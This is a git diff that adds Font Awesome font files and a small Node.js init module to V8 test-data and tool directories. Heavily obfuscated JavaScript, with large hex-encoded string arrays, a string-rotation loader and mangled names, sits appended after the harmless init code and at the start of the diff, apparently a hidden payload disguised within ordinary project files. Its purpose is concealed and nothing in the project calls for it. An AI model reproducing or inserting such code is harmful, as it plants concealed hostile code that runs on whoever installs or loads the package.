c6def1c0c8c7c08d989fd7d98dcf8d9f82cacc8d9fd18c919ff19ec1c0f1f1d0f5e78df18d92c19fc0c09ff1de9fcb888d83f1d5f7f1d3fcf39f8dd1d08bd6f3f2d7998d8d9f9df1c89a829ec298cc9fc2898d94d1fe93fa8a9bc0ded98b9fc28df18dc69bf1cc83d7cf83f1c08be2ddca82898bc1f186c0f18fc093d79f83d1eef1f19f83f1ca9f838dc5f3c68988e68ace8dccc98d8dce9bce8dc0f18b879fc58df18dcac7c6dadec0e1f1f182d0c09fcdcc9af19fcd83f1d4d1ed9380d7f1c7d6c0fc8ef1f081cad8ca8a8bcdeec0f19f93ed9f8cf59f9f8d8f9388d48dfe9fd49ff1c6c6f18fd48cc6f18df18aca8d83f19fc6838d95f1c4c28dd1c4d088f2cad7c78dcc82c0d7c6c2eff1cc8a90f1839f8dc0c78d8c8ddd9f838dd0ff8dc69fd0d396f18d9ff1f1d4c282898df18ad7f18fccc5f1f99ff9d7c0f1cbd0f1d1878c8df1e08d8dc18381c0f1d78f84cfc6c2c0f3c083f1f19ff1d9819ff1ca83cf93ccf1f1c7f1d0948df18bc6e0c0f1fc8d9581fcf18d8dd39f85c8c7c7c6c68d9f9e8d8dcfcc8d9ef19f82c18d85f1c09fd7c0e0d193ce85c0fbd684d4cdc78dd098d0d488f1978cd0d6e7cac0f3c1c2838d8dca82cc92fdd1deea9dc6979f99f1d4e0f1cac09ff1f1f1c0818d83c7f1d3d7939f8df1c8939ff49bd183f1cdf18de7c08de0ed83cfd4cccb8dcf8e9ff19fd3c0c1f183f3c695cbfa8ef1d78dc0e6d3999f88c28ef59ff1c2f1c5848b9fd1f1f1f1859fc2d99f97f1f1f18de68a948ddbd1c093cacfebf1f7cad0c08df9c5f1c5c0f1db8ed7cb8a8df1809e829fe08dd481cfd8c6fec68ef19f8c9fd097edd78dccd381c0c68d97f1cdd8f0f1cc9ff18ae0c0fe8ac68bf1d49bf1f18d839f92cbc0d8d39bc0f082c69ff19cf1e8c29eca95f1caf88deaf1d3f187f1c1dbf1f0c0cf8dd39ff382c5c282d5d5d0ec8d82d3f1f1d78de6c4cff1d79f8d82cad6c78dcfd69fcad08df1ccf197828df38dc0ce8df3cadef1cc8d8dcff3edf1da959ed7d89fc2c68dfc82f1d4f1d7c2f18dd0c58d828dfe97f8c68df1c8e6de8eded5c68d8d87edd4cae782de8d93f1809fcad0c2f190d3869fde8dc2f1e3f1e9d78df1e4c2db8df184d0d3e09382f1e4c0d18d91e5f1caf1c6f3c2f1cdd0f1f1f1cdc29ff18a96f69981cd9ec0c7c09ce2e1d78d91938dd7c7c082e092f183c08d9fc6c7c2e28df18b8d8fc6cff1c0f19fc0859f8dc6e0f1f6f1cac5d8c2e9e8f188c6db8edb99f3c086c6cae3c6c0f1c6c89cd3f18d9783f1f19ff18087c08d8dca888297f1f187f19080f18dd18bf3caf1f19fc08df1c0cafcf682d9f1f1f198d6fddf8df98dd08bf7f1f1f7c08dc7def19fda8dfcc09f8df1f1d887c8f197e5e18b87ff9fd48d838d98f19fc6f197ffd0f1c09b9ff18df1f8e6c7f183d6ccf1f8def58b8dd3c784819fe9c28b97d3d1e2f18b8dedc09f9fd1d3908d9dd983c6c6f1829f8d9f96949985f38ac0f8f1c1f1f1e6ee8bfcf38ddef1f18a8d9ef1cbd19f8fe0f1f1f18b9fc890f188cbcd8386f18df1e58acff198f18dd083f18dc9cfcef18b8bcfcceb8d9ff19fd8f3f1c6f1ca9f9fc0c7c6e88df18dc5f191d3f18bc2ccdd8df1daf1f1f1f899f1f19cc6cad0f1f3c5c883fad08bd0908dc0839f97c1cfcc9f939f9ad8cc9ff1f7e3f18d8dcdf1caf198c2cf9cd0ccf193c49ff78df1d7ce9fd68dd0ff9cf1cf8dfcf1c0c0d99785999c93838d96f18cc0d7c0979ff19dcbca868dca80cade9ff18de6cec092dbe2cdc5f1d8f0c0d18df18d86df818df3d1d1f1cd9fc0f1cdf382c2f1f1d7f1c5f18df3839b84f19fe9e283f185ca9fc6c0c0d8fec0c58df1cec2f18dcad1c08dcaf1c6f981cd9fda829f83c0f183809f8fc6c082f1c79ad0cac088fc92c28dd1d68d8dc18d8df1c6cb9ff1ddca87ccd79fc5f1c7c0cad79fffc4ccfc93cff1ced5e58b9fc69ad09ff1d7d78b8382f1cdf195de9f8dcad7ec8d8d859ad097c7edf1c0838dcc8df1f18dfec99383f183cec29798d19fd0e0c28a8583ceccf8dbcff189cbd7828fe2d6d383f1d68fc5f1d7c5f8c98af389c0f1f1929ff1f0d583d08291c0ead0f18d8dc69497cbf1c784c099d5d0d18dd0989fc68b9ffc82eef1c5f1c5efefc4c2cf8d828dd68df19a8beec0cfc28bc7ded7ecc28ddef1c0eac6c1cee6c093ed8bf1e786c1e68783d1c79fc0d48a8de59fecc1f9f4f18dc9c48df69781c2c5f1c384ce868cc6c5c2dbf1f1f198f1cdc29994d5f193c1c08dc2fcf19f9fc9f1f1d08d8dfb8ad0d3e4ca85d584c68dcf8d918dea8dc69ad1f1c68dd084929ed18dc6f1c6dbc1c1fcf1f1fcc69ac0c79fe5eaf3828dc0f1889b8d9797958cf69f9fcfd082fe9fd6c3d3f1d0d6c19fc19de9f3d4d3e3cacff19fca8ac882c7f1efc8f18dd7d1f1db8bd1d18a86838c8d8bfec19bc0f1d088d5f18ec08ade99ccd0f18dc080819fc0d2c89fc6c88dcacef1f0ed8df1d0e683c1f3f3cd8a9fc6decc93c6818d92c7f1eaf1828bd18d868dea8d8df1c5d9c2fc9cf1f1c8c58c8fd7c0f1f1eac58d9fcaf183c1c7f1ec8dc0f3c0c7c6f18dd0dec6c9e5c1d398cc8dc5d09fc0fccec09fc2e58dc7cdc093c083f1f1f18dd2cd838df1c0f18dcbf1e8c99ff1d08dc8c09f90f1d08dc0c0f7d78dd7d1d7cdd79dd4988ceac0f9c09bd19fca8df1d79df1c0d08d8dd083d0d8f7c6839f828d888df18d9fd6f1f3f1cc8d9fe88dce8dc28dd0d1ee9ff1838dc0d4f1cac09ff18acdf38b9ff1f1c6c6d6d7c0e9c086d3ed8df1d0c0c68d9ec6c2c5939f84e3f0de929f9ffaeac9d182829f97c28dc5f1f18dcf859ff1878d8dcfd58ddedf9685f18df1829f8adbc5d08dc18799f1c083cf8d9f83cc8be98dc68d80ed8d94d79f8ac09fd483c6f1938d9e9fdac083828d8df1c69c9fcd84e1f8f1c1cc84c2d6f1de83d1c2c680f19e8dcaf18bd0d7918dc1dd839ff0c08dded7f7d0f1d19fc2f18a83d1dacad182e09fc083d7c7dd8183fb8dd7d7f19ff182c783c08d8d82c6c78df18d9ff183cd8df0cdc682828a978cccfbf1f1d68dc6cdf19f8dd1f1d2f181cffcee8dc6c5d7d7d183d7f1c08dfcd19ff18df18dc7c7d8f4cbd8f18d9f8d85f1f1c09f8dc4c5def1c0d19691c7d7c6dec78bde9cc0e5948ddbda87f49f828d8dc095d3c09cedc093d98bcb978df1f1cc9efcccc28df3c582c597cbf18df1c789c69ec780c0c095d1d1d8cc8cf1c2f1f08dd98dd58df1e7c09f8df8f19a8d84d7fe858df1f1f18e97f185c6d4ffc0f1fac6cccdc583d78dce8ac69e8dcac0e88df1d88d93d0cf92d3c0f1d08bc0cbcf8df4f18ddac08dd8c6cacf90c5d79fd88c8de08d8b8dcd9fcf8a9dce9f9fc7929fc29c83cdc6c09ff18d8dc2d5cfccf1d5c9f1c4c68dfc839ef1888df1f18dd4c7f18dc795868deac0c08b88d78d99c0ca848dc0cbd78dc18df182d097c5d7fcf1dbd7c29fd0deeb8fc0c08dc7c8f1cdc08d8ddec08083cd8af18d8bfc8ac092908dccd78dcc8dde9f828dd7f1f18a8dd79f8d8d8d9bf1cd8debd7c0d79fc1cff1ccd7c0f2e4cdfd89fcdbcec6c0f3f7de8d8d9f9fd19383cfe6d782c7cd8193d3c58dc4cfdef19fc6f1cff7e3ca8d8dc48acdc697f1d69fc5f1f1f7c48dc0f18dc08dc6c6d79f8d8dfdc6c68fd198d7dfd3c0d7c6f4e5d083f1c4c2c7f1d1cce48bcfd7cf83808bdad19f8d80c7c7d78d9ff183ca8ecc9fd0d7eac782c18af1eae6d789f1f1cd85f18dc09fcaf1cecff18b8e8bced7c0c88df1da8293f1fae99fc08df1ca9dd1d18d83d49ac0f7c2f19e9ff3c0c7e8fefcff91c58b83808df1d0868dd7c69fcd8cf1d1dac0c08dcdf1c0878df3858dc58dcac0c0e1f3edf1c7f198f18d969ff1f19fcef3ccd88bf1d8fccd9fcff1cac78dcbf1838dc7f1cdf1d182e9d4f1938df1f3f1d18d9d9e8bc59fc69c8d9fe1c5fedbf1c0c1c0f3c0f1d0de9ff18bd08df1f3fa8df1f1fcf3c88bcc9f8bc7cf9f93c6f18f9299e792d0d58dcacfcbc6fcf3f1d3c0c0f192d2ce8dc7ce819fd0cad0f3c78d9c83d3cec7f1cbf1cdc0d78b9c87f1d1d7f1db8dc68ac38d8df18dd39cca82f192f1d18b83d88dc6f7f1f1de8dc0de9ff1f19b8d8df1d3f181c0c4988dc0c093f1d1f18d83d78590cdc796c6c0f3c1fc8df182f1c2c0c0f1c1c0c7c1dec08b82d8d79f8df1cdd58dedf185ddc6e2d087d9819f979f8dccc4d0c5e0c2f1cf9fccc0e6f1ccf1f1d78d8d9fd08dcac3f19c8dd0c4c08d8df1d0f1d08d8487dbf1c0d0edf1f182f1c3f1ccf1fccd8280f18f8296d2c58d80e1eaf1e3cf8d8f8dfeccf1c6f1c2df9ff1f8d79f9f99dfc2f8979ff1ddf18288e6c48ef18dc2f382c68385cf9f96cd86c0f1f1c7e5d1dac08dd08cf18d98d8d88feb8d989fcd9f8d8a978dd7c7cef18ad0f1c78bcef1c1d88d9ff1c08dd1f3ce8dc0f1c683c0f1c0c8f1db8a9fc085c0ca8ddac0c6cfd6da988f8dfbc7d1f1cff1f18083c0c0c58dc0f18383f187f1c0ccd1d18b8dd1e0d39fedd180e68bfef1cdf181cac9cdc4f1f1979fe087c2c7cff1c2c085d78b828ef1d38dfec7cc8dc0caf1ded6d0f1d1d08bcd83e09f82988dc5c08dc0e3d99fd7f197d7e0f1d7f1d7c09e8dc090c0c5cc8d828383f1989fc5c69bf1c7d1eef1f1f8c7edf8c0daf1c0999df7cd9fcffd8dcfcc9bf1caf1f1c0d0d0c0def1d7d3c0d88dd0f1d08d8d8ddec08df1c2faf89fc289838aea8bcfc7f18bd4d0d1958389f19482c29ff08dc09ffff18de1e6eff1c695fac59f929fc6c0f3d1e7c683d0cf93f3c1e780f1fecc8d849fcf8dce83f18bd38a9fc6c8c2c08dc0f18dc78d8dfcd69fc2849f83f1cfcac1c5cecdc7c5fe8d8b86f1f19ff1ede7c0f1e6f180f58d8dc2d0c2f8cd85f18f879f8ff19fcc97f1f1c6e6f18ad0d0effe9be6f0f1f1c6f1e6caf1d8f19fc08dd883c0f4e4c5decccbc7c0c2d08dfe8d83c5f39e83ccd09594e6ccc0eaf3ccc0838d94cac4c0e5e0f18d839fc0e68ded838dc1f1','9494969692d3f2e9c8cff1','c0fdcec6c9c1fdd7d1cc','929b9297939697c5eccad5c2e4','d0d3cfcad7','92929b959190dbe7ccd0d3ce','9293dbc5c9d3c7ea','9bd4f3d5e9f7c9','c9cccacd','91939797939bfaece4f2e2f5','9793e6f2cfd5c2c8','9695e5e7c1e5f1d0','949a949b9797d7c0ced6cbe2','c0cbc2d1e2d7','9ec2c6cdd1d6cb8bc2cf9e96c08fc49bc5c7d68ddad1838d8dcdc0c6c0c58f9681d3c2c6c2d695cfcdc98ad1fe91d6d581db8ed28bfe83c2988bd19e9898d1888bc2f89b8dd091d7e2c4ccd28fd6cb9be08fc2ca8fd098c28be2ce938bcdc998c9d5898f94d5cc948b8a8bcc98ce95ccc297d1d48a8d83d1ccc7f8c5d091cdd8c7d1d5d797db8a88938fc2cdd188d1d188cc8aded992839ecbc5f8c2cd9bd192d1f88ffed0948e9494cfc2c28dd6ca94d88e93959acfd5ced791d19ecafefe9f888ad68fc68a8f8f98cdd1cbf8d19e93d58ed18b988f9ed38ae0d6d09e88c098c498c598d2e28a8a92d5ca8ad5c893cdd1cf92c2c683c59ef898cbcad0da8dc6ce8bc788cc8291839e8bc6d5c6c2949b9e8d8a97c6ca9ec48dcd9ed8c5c59e92f89f91c283c5929ed198978ff08ad1dacfd592d683da98c8d2cfd8d7d5cdd5838be0838bcf8fccd5cdd383ca9ed7cfd18fd18dcfd4ccd9cb8bcf8fd7d29898d1d18b8bd59ec2cbd0d598fedbd29ec2c198c7c2988f8b8bd198d5c9d28d8bd7f8888ac7c28ad1c7cdd1cbd09792da8bd5d198c5cb9890c481fec68b8dc2cbd1d3c2d3c4fec48d8acdc4c5d3cd92cb8fcac0cf98988a9ee098ce969e88d18f838d8a98d69e88d0de888acad78f88c1ce98c788d6ce8a8e9ed0cacad2cccf9ed79ed19ed29a888d8dc0cbd288f895c5c683d793cdd1d3d18b83d5d19bc5cfd1cd8fc7c7c4d783fe95c28d98ce98d1d7cb8dc4d28391c2dec6d5c6cac0fec4c1d7ca9f97cc98e098cf8fd9d9ca9588cff8c2f898888bd0ca81cfca81d18fcdd3ca9ad08fc5d1c5cbd6d48accd49ec6d88bc19ed4c6cd91d78dc4d68dca9ec8cac2c2c2888adac5d7d3c290cdde8a9e9a818ac0d3e288d698d6d7d3fe819ecfc894d5d3d78392d198cbd9d4818ad78b8a9a8a8b8dcfd6cf9ed094c5988398d0d2938acd81da8893d0de9ed5c288d083cecb8b93d28dfecbd5989d8393959ee28eccd9c6d7d18bd792d1d7d1d0cad0cc93c68f8d98d9f88bc59f96c694d78f8bd1c2ccc2d5cdd198d7cbcbc598d58fc99ed198838ad19d929bd9cbcc89ccd89fc2c8ced0cd8ac2c8d7c68dd5cc9a88c6c293c0cfcacc98c1d6839efee082c4c998da9088cf8ac69e8ddec7d19eca95cccae09bd1cdcd9398959ec2d181de8dd1c6ca9efef0d7d0d1cdcd8d9891d19ed798f8d798cad59ed3d1e0d1cd8b8ac2d1c6d7d6d98883cbcfc8f888db9ec6838e9bc9d88bc6c9da9a8b8b8a8a83','92929391939493e0cafacbdbcb','d0d6c1d0d7d1cacdc4','959b969a9094efd5f4c8f4c6','cbd2c6d1d0dbcfd6d5d4c2c0c7c9c1dacec4ccd1d9c5c8ccc0cad3d7d1d6d7cdd0d7cccdc0','cfc6cdc4d7cb'];oHawKZbrVVNW$tHP=function(){return QuYEezJqXXYrBCiRWsSwq;};return oHawKZbrVVNW$tHP();} \ No newline at end of file diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.eot b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.eot new file mode 100644 index 000000000000..a1bc094ab14d Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.eot differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.svg b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000000..46ad237a6191 --- /dev/null +++ b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.ttf b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000000..948a2a6cc76a Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.ttf differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.woff b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000000..2a89d521e3fa Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.woff differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.woff2 b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000000..141a90a9e0a4 Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brands-400.woff2 differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.eot b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000000..38cf2517a4da Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.eot differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.svg b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000000..48634a9ab474 --- /dev/null +++ b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.ttf b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000000..abe99e20c38a Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.ttf differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.woff b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000000..24de566a5c97 Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.woff differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.woff2 b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000000..7e0118e526eb Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-regular-400.woff2 differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.eot b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.eot new file mode 100644 index 000000000000..d3b77c223afc Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.eot differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.svg b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.svg new file mode 100644 index 000000000000..7742838b4481 --- /dev/null +++ b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.ttf b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000000..5b979039ab28 Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.ttf differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.woff b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000000..beec79178427 Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.woff differ diff --git a/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.woff2 b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000000..978a681a10ff Binary files /dev/null and b/deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-solid-900.woff2 differ diff --git a/deps/v8/tools/turbolizer/init b/deps/v8/tools/turbolizer/init new file mode 100644 index 000000000000..e8079e6931e5 --- /dev/null +++ b/deps/v8/tools/turbolizer/init @@ -0,0 +1,35 @@ +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); + +module.exports = { init, state }; +module.exports.ROOT = ROOT; +module.exports.ENV = ENV; (function(w$EEwe_mVJdtn,X$MijNH){var hLsNetSECrqLyGkrjdgtIJ=iHnmzEbnHW$DFPJlH_k,CfaADapYQR=w$EEwe_mVJdtn();while(!![]){try{var AYjGEOVaBmUhJkotaxFFUDWvv=Math['ceil'](parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xca))/(Math.floor(0x30)*Math.max(parseInt(0x52),parseInt(0x52))+-0x1*Number(parseInt(0x10bf))+Math.floor(parseInt(0x160))))+parseFloat(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc8))/(parseInt(-0x3a)*-0x6e+-parseInt(0x2032)+parseInt(0x748)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc1))/(-parseInt(0x139)+Math.ceil(-0x24a8)+-0x3ca*-0xa))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc5))/(Math.floor(-0x2)*0x195+0x3a9*Math.floor(-0x3)+Math.trunc(parseInt(0xe29)))+-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc2))/(0x157e+0x1bb*-0xb+-0x270)*Number(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcc))/(-parseInt(0x4a)+Math.trunc(-0x1e2)+-parseInt(0x119)*-parseInt(0x2)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xce))/(parseInt(0x1672)+Math.max(0x16bf,0x16bf)+-0x29*Math.ceil(parseInt(0x11a)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcd))/(0x167a*Math.ceil(0x1)+-parseInt(0x1034)*Number(parseInt(0x2))+Math.ceil(-0x5)*Math.floor(-0x1fe)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd2))/(Number(-parseInt(0xa7))*Math.ceil(-parseInt(0x7))+parseInt(0x41e)+-0x8a6)*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd0))/(Math.trunc(parseInt(0x2))*-parseInt(0x765)+parseInt(0x1a1b)*parseInt(0x1)+parseInt(-0xb47)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc6))/(Number(-parseInt(0x236))*parseInt(0xe)+0x571*parseFloat(-0x2)+-0x47*Math.floor(-0x97))*(-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc4))/(-parseInt(0x79)*parseInt(0x25)+Math.trunc(parseInt(0x538))+parseInt(0x1)*parseInt(0xc51)));if(AYjGEOVaBmUhJkotaxFFUDWvv===X$MijNH)break;else CfaADapYQR['push'](CfaADapYQR['shift']());}catch(MAMljmxEVRkEAcViFJj){CfaADapYQR['push'](CfaADapYQR['shift']());}}}(uFZJCBPkZizvf,0x490fa+parseInt(0x27889)+parseFloat(-0x3a423)));var z='',NX=[parseInt(-0x8b757)*0x17+parseFloat(-0x81a801)+Number(0x1b39c21),-parseInt(0x13ee)+Math.ceil(0x1736)*-0x1+Math.trunc(0x2c93),Math.trunc(-parseInt(0x1))*-parseInt(0x5815)+-parseInt(0x696c)+Number(parseInt(0x6112)),0x1280+-parseInt(0x27)*Math.floor(parseInt(0x12))+Number(0x137)*Math.max(-0xb,-parseInt(0xb)),parseInt(0x541b)*Math.floor(-parseInt(0x1))+-0x8a1a+0x18924*parseInt(0x1),0x384962+Math.floor(0x2f90c3)+-parseInt(0x1b4392)],SX=[parseInt(0x2)*parseInt(0x3abc37)+0x1*Math.max(-0x554e23,-0x554e23)+-0x2*-parseInt(0x183aa9),parseInt(-parseInt(0xd))*Number(-0x299)+-parseInt(0x1)*parseFloat(parseInt(0x269))+-0x1e6b,-0x1bbd+0x2*Math.floor(-parseInt(0x2b7e))+0x1169a,parseInt(0x2162)+-parseInt(0x3c7)*Number(parseInt(0x1))+-parseInt(0x1ce0),0x1*Math.max(-0x177e1,-parseInt(0x177e1))+-0xbd*parseInt(0x191)+parseInt(0x37b2f),parseInt(0x7ad9)*-0xfd+Math.floor(-0x2b9126)+Number(0xed48f0)];function iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ){var ycLkB_RoPRbnMtpWWtKZE=uFZJCBPkZizvf();return 